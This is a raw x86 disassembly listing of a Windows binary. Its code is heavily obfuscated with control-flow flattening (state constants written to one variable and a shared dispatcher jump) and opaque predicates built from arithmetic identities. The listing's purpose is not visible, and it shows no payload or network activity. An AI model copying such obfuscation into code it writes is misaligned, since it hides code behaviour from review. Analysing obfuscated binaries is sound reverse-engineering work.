setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x8452cd19
mov ecx, 0xc736e534
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xa8], eax
jmp 0x10004eda
mov dword [ebp - 0xa8], 0x1e5c9087
jmp 0x10004eda
mov ecx, dword [0x1006e748]
mov eax, dword [0x1006e744]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x1d9329eb
mov ecx, 0x1d0bcd16
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xa8], eax
jmp 0x10004eda
mov dword [ebp - 0xa8], 0x43f9d2f2
jmp 0x10004eda
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov dword [ebp - 0xa8], 0x19222cae
jmp 0x10004eda
mov dword [ebp - 0xa8], 0xc2e0661d
jmp 0x10004eda
mov dword [ebp - 0xa8], 0x197548a6
jmp 0x10004eda
mov dword [ebp - 0xa8], 0x4577ca46
jmp 0x10004eda
mov dword [ebp - 0xa8], 0xfb822d65
jmp 0x10004eda
mov dword [ebp - 0xa8], 0x25e3b6b1
jmp 0x10004eda
mov ecx, dword [ebp - 0xac]
mov eax, dword [ebp - 0xa0]
mov dword [eax], ecx
mov dword [ebp - 0xa8], 0x3987666b
jmp 0x10004eda
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x40]
mov dword [ebp - 0xa8], 0x4c72d4c4
jmp 0x10004eda
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0xa8], 0x81c4b303
jmp 0x10004eda
jmp 0x10001777